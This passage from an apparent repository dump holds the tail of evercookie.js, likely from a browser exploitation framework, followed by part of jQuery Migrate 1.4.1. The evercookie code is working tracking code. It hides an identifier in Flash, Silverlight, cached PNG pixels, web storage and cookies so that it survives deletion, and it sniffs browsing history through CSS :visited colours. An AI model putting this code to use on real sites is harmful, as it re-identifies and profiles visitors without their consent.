\"true\";\n\tvar attributes       = {};\n\tattributes.id        = \"myswf\";\n\tattributes.name      = \"myswf\";\n\tswfobject.embedSWF(\"evercookie.swf\", \"swfcontainer\", \"1\", \"1\", \"9.0.0\", false, flashvars, params, attributes);\n};\n\nthis.evercookie_png = function(name, value)\n{\n\tif (document.createElement('canvas').getContext)\n\t{\n\t\tif (typeof(value) != \"undefined\")\n\t\t{\n\t\t\t// make sure we have evercookie session defined first\n\t\t\tdocument.cookie = 'evercookie_png=' + value;\n\t\t\t\n\t\t\t// evercookie_png.php handles the hard part of generating the image\n\t\t\t// based off of the http cookie and returning it cached\n\t\t\tvar img = new Image();\n\t\t\timg.style.visibility = 'hidden';\n\t\t\timg.style.position = 'absolute';\n\t\t\timg.src = 'evercookie_png.php?name=' + name;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tself._ec.pngData = undefined;\n\t\t\tvar context = document.createElement('canvas');\n\t\t\tcontext.style.visibility = 'hidden';\n\t\t\tcontext.style.position = 'absolute';\n\t\t\tcontext.width = 200;\n\t\t\tcontext.height = 1;\n\t\t\tvar ctx = context.getContext('2d');\n\t\t\t\n\t\t\t// interestingly enough, we want to erase our evercookie\n\t\t\t// http cookie so the php will force a cached response\n\t\t\tvar origvalue = this.getFromStr('evercookie_png', document.cookie);\n\t\t\tdocument.cookie = 'evercookie_png=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';\n\n\t\t\tvar img = new Image();\n\t\t\timg.style.visibility = 'hidden';\n\t\t\timg.style.position = 'absolute';\n\t\t\timg.src = 'evercookie_png.php?name=' + name;\n\t\t\t\n\t\t\timg.onload = function()\n\t\t\t{\n\t\t\t\t// put our cookie back\n\t\t\t\tdocument.cookie = 'evercookie_png=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';\n\n\t\t\t\tself._ec.pngData = '';\n\t\t\t\tctx.drawImage(img,0,0);\n\n\t\t\t\t// get CanvasPixelArray from  given coordinates and dimensions\n\t\t\t\tvar imgd = ctx.getImageData(0, 0, 200, 1);\n\t\t\t\tvar pix = imgd.data;\n\n\t\t\t\t// loop over each pixel to get the \"RGB\" values (ignore alpha)\n\t\t\t\tfor (var i = 0, n = pix.length; i < n; i += 4)\n\t\t\t\t{\n\t\t\t\t\tif (pix[i  ] == 0) break;\n\t\t\t\t\tself._ec.pngData += String.fromCharCode(pix[i]);\n\t\t\t\t\tif (pix[i+1] == 0) break;\n\t\t\t\t\tself._ec.pngData += String.fromCharCode(pix[i+1]);\n\t\t\t\t\tif (pix[i+2] == 0) break;\n\t\t\t\t\tself._ec.pngData += String.fromCharCode(pix[i+2]);\n\t\t\t\t}\n\t\t\t}\t\n\t\t}\n\t}\n};\n\nthis.evercookie_local_storage = function(name, value)\n{\n\ttry\n\t{\n\t\tif (window.localStorage)\n\t\t{\n\t\t\tif (typeof(value) != \"undefined\")\n\t\t\t\tlocalStorage.setItem(name, value);\n\t\t\telse\n\t\t\t\treturn localStorage.getItem(name);\n\t\t}\n\t}\n\tcatch (e) { }\n};\n\nthis.evercookie_database_storage = function(name, value)\n{\n\ttry\n\t{\n\t\tif (window.openDatabase)\n\t\t{\t\t\n\t\t\tvar database = window.openDatabase(\"sqlite_evercookie\", \"\", \"evercookie\", 1024 * 1024);\n\n\t\t\tif (typeof(value) != \"undefined\")\n\t\t\t\tdatabase.transaction(function(tx)\n\t\t\t\t{\n\t\t\t\t\ttx.executeSql(\"CREATE TABLE IF NOT EXISTS cache(\" +\n\t\t\t\t\t\t\"id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, \" +\n\t\t\t\t\t\t\"name TEXT NOT NULL, \" +\n\t\t\t\t\t\t\"value TEXT NOT NULL, \" +\n\t\t\t\t\t\t\"UNIQUE (name)\" + \n\t\t\t\t\t\")\", [], function (tx, rs) { }, function (tx, err) { });\n\n\t\t\t\t\ttx.executeSql(\"INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)\", [name, value],\n\t\t\t\t\t\tfunction (tx, rs) { }, function (tx, err) { })\n\t\t\t\t});\n\t\t\telse\n\t\t\t{\n\t\t\t\tdatabase.transaction(function(tx)\n\t\t\t\t{\n\t\t\t\t\ttx.executeSql(\"SELECT value FROM cache WHERE name=?\", [name],\n\t\t\t\t\tfunction(tx, result1) {\n\t\t\t\t\t\tif (result1.rows.length >= 1)\n\t\t\t\t\t\t\tself._ec.dbData = result1.rows.item(0)['value'];\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tself._ec.dbData = '';\n\t\t\t\t\t}, function (tx, err) { })\n\t\t\t\t});\n\t\t\t}\n\t\t}\n\t} catch(e) { }\n};\n\nthis.evercookie_session_storage = function(name, value)\n{\n\ttry\n\t{\n\t\tif (window.sessionStorage)\n\t\t{\n\t\t\tif (typeof(value) != \"undefined\")\n\t\t\t\tsessionStorage.setItem(name, value);\n\t\t\telse\n\t\t\t\treturn sessionStorage.getItem(name);\n\t\t}\n\t} catch(e) { }\n};\n\nthis.evercookie_global_storage = function(name, value)\n{\n\tif (window.globalStorage)\n\t{\n\t\tvar host = this.getHost();\n\n\t\ttry\n\t\t{\n\t\t\tif (typeof(value) != \"undefined\")\n\t\t\t\teval(\"globalStorage[host].\" + name + \" = value\");\n\t\t\telse\n\t\t\t\treturn eval(\"globalStorage[host].\" + name);\n\t\t} catch(e) { }\n\t}\n};\nthis.evercookie_silverlight = function(name, value) {\n    /*\n     * Create silverlight embed\n     * \n     * Ok. so, I tried doing this the proper dom way, but IE chokes on appending anything in object tags (including params), so this\n     * is the best method I found. Someone really needs to find a less hack-ish way. I hate the look of this shit.\n    */\n        var source = \"evercookie.xap\";\n        var minver = \"4.0.50401.0\";\n        \n        var initParam = \"\";\n        if(typeof(value) != \"undefined\")\n            initParam = '<param name=\"initParams\" value=\"'+name+'='+value+'\" />';\n        \n        var html =\n        '<object data=\"data:application/x-silverlight-2,\" type=\"application/x-silverlight-2\" id=\"mysilverlight\" width=\"0\" height=\"0\">' +\n            initParam +\n            '<param name=\"source\" value=\"'+source+'\"/>' +\n            '<param name=\"onLoad\" value=\"onSilverlightLoad\"/>' +\n            '<param name=\"onError\" value=\"onSilverlightError\"/>' +\n            '<param name=\"background\" value=\"Transparent\"/>' +\n            '<param name=\"windowless\" value=\"true\"/>' +\n            '<param name=\"minRuntimeVersion\" value=\"'+minver+'\"/>' +\n            '<param name=\"autoUpgrade\" value=\"true\"/>' +\n            '<a href=\"http://go.microsoft.com/fwlink/?LinkID=149156&v='+minver+'\" style=\"text-decoration:none\">' +\n              '<img src=\"http://go.microsoft.com/fwlink/?LinkId=108181\" alt=\"Get Microsoft Silverlight\" style=\"border-style:none\"/>' +\n            '</a>' +\n        '</object>';\n        document.body.innerHTML+=html;\n};\n\n// public method for encoding\nthis.encode = function (input) {\n\tvar output = \"\";\n\tvar chr1, chr2, chr3, enc1, enc2, enc3, enc4;\n\tvar i = 0;\n\n\tinput = this._utf8_encode(input);\n\n\twhile (i < input.length) {\n\n\t\tchr1 = input.charCodeAt(i++);\n\t\tchr2 = input.charCodeAt(i++);\n\t\tchr3 = input.charCodeAt(i++);\n\n\t\tenc1 = chr1 >> 2;\n\t\tenc2 = ((chr1 & 3) << 4) | (chr2 >> 4);\n\t\tenc3 = ((chr2 & 15) << 2) | (chr3 >> 6);\n\t\tenc4 = chr3 & 63;\n\n\t\tif (isNaN(chr2)) {\n\t\t\tenc3 = enc4 = 64;\n\t\t} else if (isNaN(chr3)) {\n\t\t\tenc4 = 64;\n\t\t}\n\n\t\toutput = output +\n\t\t_baseKeyStr.charAt(enc1) + _baseKeyStr.charAt(enc2) +\n\t\t_baseKeyStr.charAt(enc3) + _baseKeyStr.charAt(enc4);\n\n\t}\n\n\treturn output;\n};\n\n// public method for decoding\nthis.decode = function (input) {\n\tvar output = \"\";\n\tvar chr1, chr2, chr3;\n\tvar enc1, enc2, enc3, enc4;\n\tvar i = 0;\n\n\tinput = input.replace(/[^A-Za-z0-9\\+\\/\\=]/g, \"\");\n\n\twhile (i < input.length) {\n\t\tenc1 = _baseKeyStr.indexOf(input.charAt(i++));\n\t\tenc2 = _baseKeyStr.indexOf(input.charAt(i++));\n\t\tenc3 = _baseKeyStr.indexOf(input.charAt(i++));\n\t\tenc4 = _baseKeyStr.indexOf(input.charAt(i++));\n\n\t\tchr1 = (enc1 << 2) | (enc2 >> 4);\n\t\tchr2 = ((enc2 & 15) << 4) | (enc3 >> 2);\n\t\tchr3 = ((enc3 & 3) << 6) | enc4;\n\n\t\toutput = output + String.fromCharCode(chr1);\n\n\t\tif (enc3 != 64) {\n\t\t\toutput = output + String.fromCharCode(chr2);\n\t\t}\n\t\tif (enc4 != 64) {\n\t\t\toutput = output + String.fromCharCode(chr3);\n\t\t}\n\n\t}\n\n\toutput = this._utf8_decode(output);\n\n\treturn output;\n\n};\n\n// private method for UTF-8 encoding\nthis._utf8_encode = function (string) {\n\tstring = string.replace(/\\r\\n/g,\"\\n\");\n\tvar utftext = \"\";\n\n\tfor (var n = 0; n < string.length; n++) {\n\n\t\tvar c = string.charCodeAt(n);\n\n\t\tif (c < 128) {\n\t\t\tutftext += String.fromCharCode(c);\n\t\t}\n\t\telse if((c > 127) && (c < 2048)) {\n\t\t\tutftext += String.fromCharCode((c >> 6) | 192);\n\t\t\tutftext += String.fromCharCode((c & 63) | 128);\n\t\t}\n\t\telse {\n\t\t\tutftext += String.fromCharCode((c >> 12) | 224);\n\t\t\tutftext += String.fromCharCode(((c >> 6) & 63) | 128);\n\t\t\tutftext += String.fromCharCode((c & 63) | 128);\n\t\t}\n\n\t}\n\n\treturn utftext;\n};\n\n// private method for UTF-8 decoding\nthis._utf8_decode = function (utftext) {\n\tvar string = \"\";\n\tvar i = 0;\n\tvar c = c1 = c2 = 0;\n\n\twhile ( i < utftext.length ) {\n\n\t\tc = utftext.charCodeAt(i);\n\n\t\tif (c < 128) {\n\t\t\tstring += String.fromCharCode(c);\n\t\t\ti++;\n\t\t}\n\t\telse if((c > 191) && (c < 224)) {\n\t\t\tc2 = utftext.charCodeAt(i+1);\n\t\t\tstring += String.fromCharCode(((c & 31) << 6) | (c2 & 63));\n\t\t\ti += 2;\n\t\t}\n\t\telse {\n\t\t\tc2 = utftext.charCodeAt(i+1);\n\t\t\tc3 = utftext.charCodeAt(i+2);\n\t\t\tstring += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));\n\t\t\ti += 3;\n\t\t}\n\n\t}\n\n\treturn string;\n};\n\n// this is crazy but it's 4am in dublin and i thought this would be hilarious\n// blame the guinness\nthis.evercookie_history = function(name, value)\n{\n\t// - is special\n\tvar baseStr = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-\";\n\tvar baseElems = baseStr.split(\"\");\n\t\n\t// sorry google.\n\tvar url = 'http://www.google.com/evercookie/cache/' + this.getHost() + '/' + name;\n\n\tif (typeof(value) != \"undefined\")\n\t{\n\t\t// don't reset this if we already have it set once\n\t\t// too much data and you can't clear previous values\n\t\tif (this.hasVisited(url))\n\t\t\treturn;\n\n\t\tthis.createIframe(url, 'if');\n\t\turl = url + '/';\n\n\t\tvar base = this.encode(value).split(\"\");\n\t\tfor (var i = 0; i < base.length; i++)\n\t\t{\n\t\t\turl = url + base[i];\n\t\t\tthis.createIframe(url, 'if' + i);\n\t\t}\n\n\t\t// - signifies the end of our data\n\t\turl = url + '-';\n\t\tthis.createIframe(url, 'if_');\n\t}\n\telse\n\t{\n\t\t// omg you got csspwn3d\n\t\tif (this.hasVisited(url))\n\t\t{\n\t\t\turl = url + '/';\n\n\t\t\tvar letter = \"\";\n\t\t\tvar val = \"\";\n\t\t\tvar found = 1;\n\t\t\twhile (letter != '-' && found == 1)\n\t\t\t{\n\t\t\t\tfound = 0;\n\t\t\t\tfor (var i = 0; i < baseElems.length; i++)\n\t\t\t\t{\n\t\t\t\t\tif (this.hasVisited(url + baseElems[i]))\n\t\t\t\t\t{\n\t\t\t\t\t\tletter = baseElems[i];\n\t\t\t\t\t\tif (letter != '-')\n\t\t\t\t\t\t\tval = val + letter;\n\t\t\t\t\t\turl = url + letter;\n\t\t\t\t\t\tfound = 1;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t// lolz\n\t\t\treturn this.decode(val);\n\t\t}\n\t}\n};\n\nthis.createElem = function(type, name, append)\n{\n\tvar el;\n\tif (typeof name != 'undefined' && document.getElementById(name))\n\t\tel = document.getElementById(name);\n\telse\n\t\tel = document.createElement(type);\n\tel.style.visibility = 'hidden';\n\tel.style.position = 'absolute';\n\n\tif (name)\n\t\tel.setAttribute('id', name);\n\n\tif (append)\n\t\tdocument.body.appendChild(el);\n\n\treturn el;\n};\n\nthis.createIframe = function(url, name)\n{\n\tvar el = this.createElem('iframe', name, 1);\n\tel.setAttribute('src', url);\n\treturn el;\n};\n\n// wait for our swfobject to appear (swfobject.js to load)\nthis.waitForSwf = function(i)\n{\n\tif (typeof i == 'undefined')\n\t\ti = 0;\n\telse\n\t\ti++;\n\n\t// wait for ~2 seconds for swfobject to appear\n\tif (i < _ec_tests && typeof swfobject == 'undefined')\n\t\tsetTimeout(function() { waitForSwf(i) }, 300);\n};\n\nthis.evercookie_cookie = function(name, value)\n{\n    try{\n        if (typeof(value) != \"undefined\")\n        {\n            // expire the cookie first\n            document.cookie = name + '=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';\n            document.cookie = name + '=' + value + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';\n        }\n        else\n            return this.getFromStr(name, document.cookie);\n    }catch(e){\n        // the hooked origin is using HttpOnly, so we must set the hook ID in a different way.\n        // evercookie_userdata and evercookie_window will be used in this case.\n    }\n};\n\n// get value from param-like string (eg, \"x=y&name=VALUE\")\nthis.getFromStr = function(name, text)\n{\n\tif (typeof text != 'string')\n\t\treturn;\n\t\t\n\tvar nameEQ = name + \"=\";\n\tvar ca = text.split(/[;&]/);\n\tfor (var i = 0; i < ca.length; i++)\n\t{\n\t\tvar c = ca[i];\n\t\twhile (c.charAt(0) == ' ')\n\t\t\tc = c.substring(1, c.length);\n\t\tif (c.indexOf(nameEQ) == 0)\n\t\t\treturn c.substring(nameEQ.length, c.length);\n\t}\n};\n\nthis.getHost = function()\n{\n\tvar domain = document.location.host;\n\tif (domain.indexOf('www.') == 0)\n\t\tdomain = domain.replace('www.', '');\n\treturn domain;\n};\n\nthis.toHex = function(str)\n{\n    var r = \"\";\n    var e = str.length;\n    var c = 0;\n    var h;\n    while (c < e)\n    {\n        h = str.charCodeAt(c++).toString(16);\n        while (h.length < 2)\n        \th = \"0\" + h;\n        r += h;\n    }\n    return r;\n};\n\nthis.fromHex = function(str)\n{\n    var r = \"\";\n    var e = str.length;\n    var s;\n    while (e >= 0)\n    {\n        s = e - 2;\n        r = String.fromCharCode(\"0x\" + str.substring(s, e)) + r;\n        e = s;\n    }\n    return r;\n};\n\n/* \n * css history knocker (determine what sites your visitors have been to)\n *\n * originally by Jeremiah Grossman\n * http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html\n *\n * ported to additional browsers by Samy Kamkar\n *\n * compatible with ie6, ie7, ie8, ff1.5, ff2, ff3, opera, safari, chrome, flock\n *\n * - code@samy.pl\n */\n\n\nthis.hasVisited = function(url)\n{\n\tif (this.no_color == -1)\n\t{\n\t\tvar no_style = this._getRGB(\"http://samy-was-here-this-should-never-be-visited.com\", -1);\n\t\tif (no_style == -1)\n\t\t\tthis.no_color =\n\t\t\t\tthis._getRGB(\"http://samy-was-here-\"+Math.floor(Math.random()*9999999)+\"rand.com\");\n\t}\n\t\n\t// did we give full url?\n\tif (url.indexOf('https:') == 0 || url.indexOf('http:') == 0)\n\t\treturn this._testURL(url, this.no_color);\n\t\t\n\t// if not, just test a few diff types\tif (exact)\n\treturn\tthis._testURL(\"http://\" + url, this.no_color) ||\n\t\tthis._testURL(\"https://\" + url, this.no_color) ||\n\t\tthis._testURL(\"http://www.\" + url, this.no_color) ||\n\t\tthis._testURL(\"https://www.\" + url, this.no_color);\n};\n\n/* create our anchor tag */\nvar _link = this.createElem('a', '_ec_rgb_link');\n\n/* for monitoring */\nvar created_style;\n\n/* create a custom style tag for the specific link. Set the CSS visited selector to a known value */\nvar _cssText = '#_ec_rgb_link:visited{display:none;color:#FF0000}';\n\n/* Methods for IE6, IE7, FF, Opera, and Safari */\ntry {\n\tcreated_style = 1;\n\tvar style = document.createElement('style');\n\tif (style.styleSheet)\n\t\tstyle.styleSheet.innerHTML = _cssText;\n\telse if (style.innerHTML)\n\t\tstyle.innerHTML = _cssText;\n\telse\n\t{\n\t\tvar cssT = document.createTextNode(_cssText);\n\t\tstyle.appendChild(cssT);\n\t}\n} catch (e) {\n\tcreated_style = 0;\n}\n\n/* if test_color, return -1 if we can't set a style */\nthis._getRGB = function (u, test_color) {\n    if (test_color && created_style == 0)\n        return -1;\n\n    /* create the new anchor tag with the appropriate URL information */\n    _link.href = u;\n    _link.innerHTML = u;\n    // not sure why, but the next two appendChilds always have to happen vs just once\n    document.body.appendChild(style);\n    document.body.appendChild(_link);\n\n    /* add the link to the DOM and save the visible computed color */\n    var color;\n    if (document.defaultView)\n        color = document.defaultView.getComputedStyle(_link, null).getPropertyValue('color');\n    else\n        color = _link.currentStyle['color'];\n\n    return color;\n};\n\nthis._testURL = function(url, no_color){\n\tvar color = this._getRGB(url);\n\n\t/* check to see if the link has been visited if the computed color is red */\n\tif (color == \"rgb(255, 0, 0)\" || color == \"#ff0000\")\n\t\treturn 1;\n\n\t/* if our style trick didn't work, just compare default style colors */\n\telse if (no_color && color != no_color)\n\t\treturn 1;\n\n\t/* not found */\n\treturn 0;\n}\n\n};\n\nreturn _class;\n})();\n\n\n/*\n * Again, ugly workaround....same problem as flash.\n*/\nvar _global_isolated;\nfunction onSilverlightLoad(sender, args) {\n    var control = sender.getHost();\n    _global_isolated = control.Content.App.getIsolatedStorage();\n}\n/*\nfunction onSilverlightError(sender, args) {\n    _global_isolated = \"\";\n    \n}*/\nfunction onSilverlightError(sender, args) {\n    _global_isolated = \"\";\n}\n"
  },
  {
    "path": "core/main/client/lib/jquery-migrate-1.4.1.js",
    "content": "/*!\n * jQuery Migrate - v1.4.1 - 2016-05-19\n * Copyright jQuery Foundation and other contributors\n */\n(function( jQuery, window, undefined ) {\n// See http://bugs.jquery.com/ticket/13335\n// \"use strict\";\n\n\njQuery.migrateVersion = \"1.4.1\";\n\n\nvar warnedAbout = {};\n\n// List of warnings already given; public read only\njQuery.migrateWarnings = [];\n\n// Set to true to prevent console output; migrateWarnings still maintained\njQuery.migrateMute = true;\n\n// Show a message on the console so devs know we're active\n\tif (window.console && window.console.log && !jQuery.migrateMute) {\n\twindow.console.log( \"JQMIGRATE: Migrate is installed\" +\n\t\t( jQuery.migrateMute ? \"\" : \" with logging active\" ) +\n\t\t\", version \" + jQuery.migrateVersion );\n}\n\n// Set to false to disable traces that appear with warnings\nif ( jQuery.migrateTrace === undefined ) {\n\tjQuery.migrateTrace = false;\n}\n\n// Forget any warnings we've already given; public\njQuery.migrateReset = function() {\n\twarnedAbout = {};\n\tjQuery.migrateWarnings.length = 0;\n};\n\nfunction migrateWarn( msg) {\n\tvar console = window.console;\n\tif ( !warnedAbout[ msg ] ) {\n\t\twarnedAbout[ msg ] = true;\n\t\tjQuery.migrateWarnings.push( msg );\n\t\tif ( console && console.warn && !jQuery.migrateMute ) {\n\t\t\tconsole.warn( \"JQMIGRATE: \" + msg );\n\t\t\tif ( jQuery.migrateTrace && console.trace ) {\n\t\t\t\tconsole.trace();\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunction migrateWarnProp( obj, prop, value, msg ) {\n\tif ( Object.defineProperty ) {\n\t\t// On ES5 browsers (non-oldIE), warn if the code tries to get prop;\n\t\t// allow property to be overwritten in case some other plugin wants it\n\t\ttry {\n\t\t\tObject.defineProperty( obj, prop, {\n\t\t\t\tconfigurable: true,\n\t\t\t\tenumerable: true,\n\t\t\t\tget: function() {\n\t\t\t\t\tmigrateWarn( msg );\n\t\t\t\t\treturn value;\n\t\t\t\t},\n\t\t\t\tset: function( newValue ) {\n\t\t\t\t\tmigrateWarn( msg );\n\t\t\t\t\tvalue = newValue;\n\t\t\t\t}\n\t\t\t});\n\t\t\treturn;\n\t\t} catch( err ) {\n\t\t\t// IE8 is a dope about Object.defineProperty, can't warn there\n\t\t}\n\t}\n\n\t// Non-ES5 (or broken) browser; just set the property\n\tjQuery._definePropertyBroken = true;\n\tobj[ prop ] = value;\n}\n\nif ( document.compatMode === \"BackCompat\" ) {\n\t// jQuery has never supported or tested Quirks Mode\n\tmigrateWarn( \"jQuery is not compatible with Quirks Mode\" );\n}\n\n\nvar attrFn = jQuery( \"<input/>\", { size: 1 } ).attr(\"size\") && jQuery.attrFn,\n\toldAttr = jQuery.attr,\n\tvalueAttrGet = jQuery.attrHooks.value && jQuery.attrHooks.value.get ||\n\t\tfunction() { return null; },\n\tvalueAttrSet = jQuery.attrHooks.value && jQuery.attrHooks.value.set ||\n\t\tfunction() { return undefined; },\n\trnoType = /^(?:input|button)$/i,\n\trnoAttrNodeType = /^[238]$/,\n\trboolean = /^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,\n\truseDefault = /^(?:checked|selected)$/i;\n\n// jQuery.attrFn\nmigrateWarnProp( jQuery, \"attrFn\", attrFn || {}, \"jQuery.attrFn is deprecated\" );\n\njQuery.attr = function( elem, name, value, pass ) {\n\tvar lowerName = name.toLowerCase(),\n\t\tnType = elem && elem.nodeType;\n\n\tif ( pass ) {\n\t\t// Since pass is used internally, we only warn for new jQuery\n\t\t// versions where there isn't a pass arg in the formal params\n\t\tif ( oldAttr.length < 4 ) {\n\t\t\tmigrateWarn(\"jQuery.fn.attr( props, pass ) is deprecated\");\n\t\t}\n\t\tif ( elem && !rnoAttrNodeType.test( nType ) &&\n\t\t\t(attrFn ? name in attrFn : jQuery.isFunction(jQuery.fn[name])) ) {\n\t\t\treturn jQuery( elem )[ name ]( value );\n\t\t}\n\t}\n\n\t// Warn if user tries to set `type`, since it breaks on IE 6/7/8; by checking\n\t// for disconnected elements we don't warn on $( \"<button>\", { type: \"button\" } ).\n\tif ( name === \"type\" && value !== undefined && rnoType.test( elem.nodeName ) && elem.parentNode ) {\n\t\tmigrateWarn(\"Can't change the 'type' of an input or button in IE 6/7/8\");\n\t}\n\n\t// Restore boolHook for boolean property/attribute synchronization\n\tif ( !jQuery.attrHooks[ lowerName ] && rboolean.test( lowerName ) ) {\n\t\tjQuery.attrHooks[ lowerName ] = {\n\t\t\tget: function( elem, name ) {\n\t\t\t\t// Align boolean attributes with corresponding properties\n\t\t\t\t// Fall back to attribute presence where some booleans are not supported\n\t\t\t\tvar attrNode,\n\t\t\t\t\tproperty = jQuery.prop( elem, name );\n\t\t\t\treturn property === true || typeof property !== \"boolean\" &&\n\t\t\t\t\t( attrNode = elem.getAttributeNode(name) ) && attrNode.nodeValue !== false ?\n\n\t\t\t\t\tname.toLowerCase() :\n\t\t\t\t\tundefined;\n\t\t\t},\n\t\t\tset: function( elem, value, name ) {\n\t\t\t\tvar propName;\n\t\t\t\tif ( value === false ) {\n\t\t\t\t\t// Remove boolean attributes when set to false\n\t\t\t\t\tjQuery.removeAttr( elem, name );\n\t\t\t\t} else {\n\t\t\t\t\t// value is true since we know at this point it's type boolean and not false\n\t\t\t\t\t// Set boolean attributes to the same name and set the DOM property\n\t\t\t\t\tpropName = jQuery.propFix[ name ] || name;\n\t\t\t\t\tif ( propName in elem ) {\n\t\t\t\t\t\t// Only set the IDL specifically if it already exists on the element\n\t\t\t\t\t\telem[ propName ] = true;\n\t\t\t\t\t}\n\n\t\t\t\t\telem.setAttribute( name, name.toLowerCase() );\n\t\t\t\t}\n\t\t\t\treturn name;\n\t\t\t}\n\t\t};\n\n\t\t// Warn only for attributes that can remain distinct from their properties post-1.9\n\t\tif ( ruseDefault.test( lowerName ) ) {\n\t\t\tmigrateWarn( \"jQuery.fn.attr('\" + lowerName + \"') might use property instead of attribute\" );\n\t\t}\n\t}\n\n\treturn oldAttr.call( jQuery, elem, name, value );\n};\n\n// attrHooks: value\njQuery.attrHooks.value = {\n\tget: function( elem, name ) {\n\t\tvar nodeName = ( elem.nodeName || \"\" ).toLowerCase();\n\t\tif ( nodeName === \"button\" ) {\n\t\t\treturn valueAttrGet.apply( this, arguments );\n\t\t}\n\t\tif ( nodeName !== \"input\" && nodeName !== \"option\" ) {\n\t\t\tmigrateWarn(\"jQuery.fn.attr('value') no longer gets properties\");\n\t\t}\n\t\treturn name in elem ?\n\t\t\telem.value :\n\t\t\tnull;\n\t},\n\tset: function( elem, value ) {\n\t\tvar nodeName = ( elem.nodeName || \"\" ).toLowerCase();\n\t\tif ( nodeName === \"button\" ) {\n\t\t\treturn valueAttrSet.apply( this, arguments );\n\t\t}\n\t\tif ( nodeName !== \"input\" && nodeName !== \"option\" ) {\n\t\t\tmigrateWarn(\"jQuery.fn.attr('value', val) no longer sets properties\");\n\t\t}\n\t\t// Does not return so that setAttribute is also used\n\t\telem.value = value;\n\t}\n};\n\n\nvar matched, browser,\n\toldInit = jQuery.fn.init,\n\toldFind = jQuery.find,\n\toldParseJSON = jQuery.parseJSON,\n\trspaceAngle = /^\\s*</,\n\trattrHashTest = /\\[(\\s*[-\\w]+\\s*)([~|^$*]?=)\\s*([-\\w#]*?#[-\\w#]*)\\s*\\]/,\n\trattrHashGlob = /\\[(\\s*[-\\w]+\\s*)([~|^$*]?=)\\s*([-\\w#]*?#[-\\w#]*)\\s*\\]/g,\n\t// Note: XSS check is done below after string is trimmed\n\trquickExpr = /^([^<]*)(<[\\w\\W]+>)([^>]*)$/;\n\n// $(html) \"looks like html\" rule change\njQuery.fn.init = function( selector, context, rootjQuery ) {\n\tvar match, ret;\n\n\tif ( selector && typeof selector === \"string\" ) {\n\t\tif ( !jQuery.isPlainObject( context ) &&\n\t\t\t\t(match = rquickExpr.exec( jQuery.trim( selector ) )) && match[ 0 ] ) {\n\n\t\t\t// This is an HTML string according to the \"old\" rules; is it still?\n\t\t\tif ( !rspaceAngle.test( selector ) ) {\n\t\t\t\tmigrateWarn(\"$(html) HTML strings must start with '<' character\");\n\t\t\t}\n\t\t\tif ( match[ 3 ] ) {\n\t\t\t\tmigrateWarn(\"$(html) HTML text after last tag is ignored\");\n\t\t\t}\n\n\t\t\t// Consistently reject any HTML-like string starting with a hash (gh-9521)\n\t\t\t// Note that this may break jQuery 1.6.x code that otherwise would work.\n\t\t\tif ( match[ 0 ].charAt( 0 ) === \"#\" ) {\n\t\t\t\tmigrateWarn(\"HTML string cannot start with a '#' character\");\n\t\t\t\tjQuery.error(\"JQMIGRATE: Invalid selector string (XSS)\");\n\t\t\t}\n\n\t\t\t// Now process using loose rules; let pre-1.8 play too\n\t\t\t// Is this a jQuery context? parseHTML expects a DOM element (#178)\n\t\t\tif ( context && context.context && context.context.nodeType ) {\n\t\t\t\tcontext = context.context;\n\t\t\t}\n\n\t\t\tif ( jQuery.parseHTML ) {\n\t\t\t\treturn oldInit.call( this,\n\t\t\t\t\t\tjQuery.parseHTML( match[ 2 ], context && context.ownerDocument ||\n\t\t\t\t\t\t\tcontext || document, true ), context, rootjQuery );\n\t\t\t}\n\t\t}\n\t}\n\n\tret = oldInit.apply( this, arguments );\n\n\t// Fill in selector and context properties so .live() works\n\tif ( selector && selector.selector !== undefined ) {\n\t\t// A jQuery object, copy its properties\n\t\tret.selector = selector.selector;\n\t\tret.context = selector.context;\n\n\t} else {\n\t\tret.selector = typeof selector === \"string\" ? selector : \"\";\n\t\tif ( selector ) {\n\t\t\tret.context = selector.nodeType? selector : context || document;\n\t\t}\n\t}\n\n\treturn ret;\n};\njQuery.fn.init.prototype = jQuery.fn;\n\njQuery.find = function( selector ) {\n\tvar args = Array.prototype.slice.call( arguments );\n\n\t// Support: PhantomJS 1.x\n\t// String#match fails to match when used with a //g RegExp, only on some strings\n\tif ( typeof selector === \"string\" && rattrHashTest.test( selector ) ) {\n\n\t\t// The nonstandard and undocumented unquoted-hash was removed in jQuery 1.12.0\n\t\t// First see if qS thinks it's a valid selector, if so avoid a false positive\n\t\ttry {\n\t\t\tdocument.querySelector( selector );\n\t\t} catch ( err1 ) {\n\n\t\t\t// Didn't *look* valid to qSA, warn and try quoting what we think is the value\n\t\t\tselector = selector.replace( rattrHashGlob, function( _, attr, op, value ) {\n\t\t\t\treturn \"[\" + attr + op + \"\\\"\" + value + \"\\\"]\";\n\t\t\t} );\n\n\t\t\t// If the regexp *may* have created an invalid selector, don't update it\n\t\t\t// Note that there may be false alarms if selector uses jQuery extensions\n\t\t\ttry {\n\t\t\t\tdocument.querySelector( selector );\n\t\t\t\tmigrateWarn( \"Attribute selector with '#' must be quoted: \" + args[ 0 ] );\n\t\t\t\targs[ 0 ] = selector;\n\t\t\t} catch ( err2 ) {\n\t\t\t\tmigrateWarn( \"Attribute selector with '#' was not fixed: \" + args[ 0 ] );\n\t\t\t}\n\t\t}\n\t}\n\n\treturn oldFind.apply( this, args );\n};\n\n// Copy properties attached to original jQuery.find method (e.g. .attr, .isXML)\nvar findProp;\nfor ( findProp in oldFind ) {\n\tif ( Object.prototype.hasOwnProperty.call( oldFind, findProp ) ) {\n\t\tjQuery.find[ findProp ] = oldFind[ findProp ];\n\t}\n}\n\n// Let $.parseJSON(falsy_value) return null\njQuery.parseJSON = function( json ) {\n\tif ( !json ) {\n\t\tmigrateWarn(\"jQuery.parseJSON requires a valid JSON string\");\n\t\treturn 